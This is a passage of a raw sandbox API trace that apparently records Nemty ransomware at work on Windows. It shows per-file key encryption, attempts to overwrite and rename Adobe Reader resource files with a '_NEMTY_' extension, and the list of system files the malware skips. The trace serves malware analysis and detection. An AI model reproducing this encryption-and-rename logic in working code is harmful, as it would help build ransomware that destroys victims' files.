hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.324] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.324] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0206.324] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="21IaFfPu8kyNEUznuDB+6pbeTqbxyGvI81UrdvoOh2GCIGtLOZq6t6HpXPIiJ8vU\r\n2bkxrGGuwIXYki/QfCKrKJg0rO2De4nGAkMscORjKcZCTzkwqIKjw8jqBM7hKOfR\r\nQh9AiqAk2Kni8zePoOVAC6dYBqgtMQHMHbVZlbMOX+N542I91qf8oXFr0xPirE/e\r\n4GslCfcFhaOTBJ9+ouYhE23Fy88pPHP4m/RvTcCxC0L5HqxhdjKgx99Qf2rHB+g3\r\nvUwIBwOQkaAQKbtnF2WqYtXpgeao8k/4+lkVXmhVp6SwPjZEljekmBQPOsWwx4tQ\r\ngZnK0gfAP1obebaaNuejJg==\r\n", pcchString=0x653e91c) returned 1 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0206.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0206.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0206.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.325] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.511] CloseHandle (hObject=0xffffffff) returned 0 [0206.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.512] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2._nemty_kgobjgd_")) returned 0 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.512] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="GBPC-E~3")) returned 1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2=".") returned 1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="..") returned 1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="...") returned 1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="windows") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="$RECYCLE.BIN") returned 1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="rsa") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="NTDETECT.COM") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="ntldr") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="MSDOS.SYS") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="IO.SYS") returned -1 [0206.512] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="boot.ini") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="boot.ini") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="AUTOEXEC.BAT") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="ntuser.dat") returned -1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="desktop.ini") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="CONFIG.SYS") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="RECYCLER") returned -1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="BOOTSECT.BAK") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="bootmgr") returned 1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="programdata") returned -1 [0206.513] lstrcmpiW (lpString1="GBpc-EUC-UCS2C", lpString2="appdata") returned 1 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 14 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 14 [0206.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 14 [0206.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2C", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2C", lpUsedDefaultChar=0x0) returned 14 [0206.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.513] Sleep (dwMilliseconds=0x5) [0206.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ebc9ef0, dwHighDateTime=0x1d561e8)) [0206.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ebc9ef0, dwHighDateTime=0x1d561e8)) [0206.526] GetLastError () returned 0x5 [0206.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.526] GetLastError () returned 0x5 [0206.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.527] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.527] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.527] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0206.527] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="x8muHJJKnR1TDw7+HLwPPsCs65kg6iVcvdy2aH2iiRaJz7AAShpOm9h3DmwunfeV\r\nSvDFfEkNUDv96H3lz/Jr5kEjfObKc1sZQzNXBXyXujbIe4JOP+OTOHaDrw+iKx1U\r\nPL66eecgnrf4aDUJUjVNylKYYqVxRzRcrKwjKd+i2SzP/G6cwOmdaYUBNF4SLylq\r\noRkubW7QcNALnru2WFLaNFV35+a9FyxrMVmH9t14IJRtBqLQV+EJW+MYPUO5vDch\r\n4JXtzMV45UONPFU+imKrsf0Zgou09r0baheJPDKNECbWv8hwcjvl/BJ6/ps9aSYM\r\n+CYFfkarZuUsm5mF2zt2yA==\r\n", pcchString=0x653e91c) returned 1 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0206.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0206.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.527] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, 